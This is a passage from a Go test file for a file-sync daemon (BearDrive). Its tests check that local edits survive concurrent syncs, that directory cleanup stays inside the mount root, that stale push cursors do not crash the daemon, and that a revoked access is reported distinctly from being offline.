wrote, err := victim.materializeFile("notes/live.md", want, cache)
if err != nil {
t.Fatalf("materializeFile: %v", err)
}
if got := read(t, victim.Folder, "notes/live.md"); got != edited {
t.Errorf("a file that changed between this cycle's scan and its materialize was overwritten: %q — the edit was never journaled, so it is not in any blob and cannot be restored", got)
}
if wrote {
t.Error("materializeFile reported a write over a dirty file")
}
}
// TestSec_Materialize_ADirtyFileIsNotDeletedByTheDeleteLoop
//
// The delete half of the same invariant. materialize's second loop unlinks
// every cache key the replayed target no longer holds, and its dirty check is
// the only thing that distinguishes "the file we put there and a peer has since
// deleted" from "a file the user has just rewritten". Without it, a peer's
// delete op racing a local edit removes the local file outright.
//
// Driven at materialize directly with an empty target, so the delete loop is
// the only thing running: through Cycle the scan would journal the edit first
// and the target would still hold the path.
func TestSec_Materialize_ADirtyFileIsNotDeletedByTheDeleteLoop(t *testing.T) {
victim := newDevice(t, "victim", nil)
const scanned = "what the scan saw"
const edited = "what the user typed while the pull was in flight"
write(t, victim.Folder, "notes/live.md", scanned)
cache := map[string]store.CachedFile{"notes/live.md": {
Blob: secaud5Blob(t, victim, scanned), Size: int64(len(scanned)), Mode: 0o644,
MTimeNS: time.Now().Add(-time.Hour).UnixNano(),
}}
write(t, victim.Folder, "notes/live.md", edited)
filter, err := loadFilter(victim.Folder, nil)
if err != nil {
t.Fatal(err)
}
if _, err := victim.materialize(map[string]journal.FileState{}, cache, filter); err != nil {
t.Fatalf("materialize: %v", err)
}
if got, err := os.ReadFile(filepath.Join(victim.Folder, "notes", "live.md")); err != nil || string(got) != edited {
t.Fatalf("a peer's delete unlinked a file the user had just rewritten (err %v, content %q) — the edit was never journaled and is in no blob", err, string(got))
}
}
// ---- pruneEmptyDirs: the containment that keeps a cleanup inside the mount ----
// TestSec_PruneEmptyDirs_TheCleanupStopsAtTheMountRoot
//
// pruneEmptyDirs walks UP from a deleted file's directory removing empty ones,
// and the only thing that stops it is the root containment at the top of the
// loop. Reached on every ordinary delete of the last file in a folder, so
// nothing exotic triggers it: without the check the walk carries on past the
// mount root and removes the mount folder itself, then its parent, and keeps
// going for as long as directories happen to be empty — a mount at
// ~/work/project takes ~/work with it.
func TestSec_PruneEmptyDirs_TheCleanupStopsAtTheMountRoot(t *testing.T) {
base := t.TempDir()
parent := filepath.Join(base, "work")
root := filepath.Join(parent, "project")
deep := filepath.Join(root, "a", "b")
if err := os.MkdirAll(deep, 0o755); err != nil {
t.Fatal(err)
}
pruneEmptyDirs(root, deep)
if _, err := os.Stat(root); err != nil {
t.Errorf("the mount root itself was removed: %v", err)
}
if _, err := os.Stat(parent); err != nil {
t.Errorf("the cleanup walked ABOVE the mount root and removed %s: %v — deleting the last file in a folder took a directory BearDrive was never given", parent, err)
}
if _, err := os.Stat(base); err != nil {
t.Errorf("the cleanup reached %s, two levels above the mount root: %v", base, err)
}
// It must still do its job inside the mount.
if _, err := os.Stat(filepath.Join(root, "a")); err == nil {
t.Error("control: the empty directories INSIDE the mount were not cleaned up, so the test above proves nothing")
}
}
// ---- the two push-cursor clamps ----
// TestSec_Cursor_APushCursorAheadOfTheJournalDoesNotPanic
//
// st.PushedOps is a count in sync.json; myOps is what the journal file holds.
// Nothing binds them: sync.json is written by a separate atomic write from the
// journal append, so a crash between the two leaves the cursor ahead — and the
// journal is also the one state file this package rewrites wholesale (pull's
// WriteFileAtomic) and the one whose tail can tear. Both slices, conflictCopies'
// `myOps[pushed:]` and push's `myOps[st.PushedOps:]`, index straight into it.
//
// An out-of-range slice is a panic, and a panic in Cycle is a crashed daemon
// that never comes back on its own: the same sync.json is still there on the
// next start. Each clamp is exercised on its own function, because the two
// cover for each other inside a cycle.
func TestSec_Cursor_APushCursorAheadOfTheJournalDoesNotPanic(t *testing.T) {
t.Run("conflictCopies", func(t *testing.T) {
defer func() {
if r := recover(); r != nil {
t.Fatalf("conflictCopies panicked with a push cursor ahead of the journal: %v — the daemon dies on every start until sync.json is deleted by hand", r)
}
}()
s := newDevice(t, "victim", nil)
mine := []journal.Op{secjrnOp(1, "a.md", sha256hex("a"), 1)}
mine[0].Device = s.Device.ID
st := store.SyncState{Lamport: 1, PushedOps: 7} // ahead of len(mine)
if _, err := s.conflictCopies(mine, st.PushedOps, []journal.Op{secjrnOp(1, "a.md", sha256hex("b"), 1)}, &st); err != nil {
t.Fatalf("conflictCopies: %v", err)
}
})
t.Run("push", func(t *testing.T) {
defer func() {
if r := recover(); r != nil {
t.Fatalf("push panicked with a push cursor ahead of the journal: %v — the daemon dies on every start until sync.json is deleted by hand", r)
}
}()
hub := &secaud5Hub{bodies: map[string][]byte{}}
s := newDevice(t, "victim", hub)
mine := []journal.Op{secjrnOp(1, "a.md", sha256hex("a"), 1)}
mine[0].Device = s.Device.ID
if _, _, err := s.Store.PutBlobBytes([]byte("a")); err != nil {
t.Fatal(err)
}
mine[0].Blob = sha256hex("a")
if err := s.Store.AppendOps(s.Device.ID, mine); err != nil {
t.Fatal(err)
}
st := store.SyncState{Lamport: 1, PushedOps: 7} // ahead of len(mine)
if err := s.push(context.Background(), mine, &st); err != nil {
t.Fatalf("push: %v", err)
}
})
}
// ---- Cycle's ErrForbidden halt ----
// TestSec_Cycle_ARefusedPullPausesSyncInsteadOfLookingOffline
//
// Result documents three answers that "must not be conflated": Offline (retry
// everything), ReadOnly (keep pulling), NoAccess (touch nothing). The halt in
// Cycle is what produces the third one, and it also persists st.Access so
// `bdrive status` — which never runs a cycle — can say so.
//
// Collapse it into Offline and the device reports a healthy connection while it
// has no access at all: `access` is written back as AccessOK at the end of the
// cycle, so the one place a revoked member could learn what happened says
// nothing is wrong, and a transient network blip and a revoked membership
// become the same event in the daemon log.
func TestSec_Cycle_ARefusedPullPausesSyncInsteadOfLookingOffline(t *testing.T) {
hub := &secaud5Hub{listErr: fmt.Errorf("%w: server: 403 Forbidden", remote.ErrForbidden)}
victim := newDevice(t, "victim", hub)
write(t, victim.Folder, "mine.md", "work done while we still had access")
res, err := victim.Cycle(context.Background())
if err != nil {
t.Fatalf("a refused pull must degrade, not fail: %v", err)
}
if !res.NoAccess {
t.Errorf("the hub refused the pull with %v and the cycle reported NoAccess=%v Offline=%v — a revoked membership and a network blip are not the same event",
hub.listErr, res.NoAccess, res.Offline)
}
if !errors.Is(res.AccessErr, remote.ErrForbidden) {
t.Errorf("AccessErr = %v, want it to wrap remote.ErrForbidden", res.AccessErr)
}
st, err := victim.Store.LoadSync()
if err != nil {
t.Fatal(err)
}
if st.Access != store.AccessNone {
t.Errorf("persisted access = %q, want %q — `bdrive status` never runs a cycle, so this is the only place a revoked member can learn what happened",
st.Access, store.AccessNone)
}
if len(hub.puts) != 0 {
t.Errorf("the cycle pushed %d object(s) to a hub that had just refused our pull", len(hub.puts))
}
}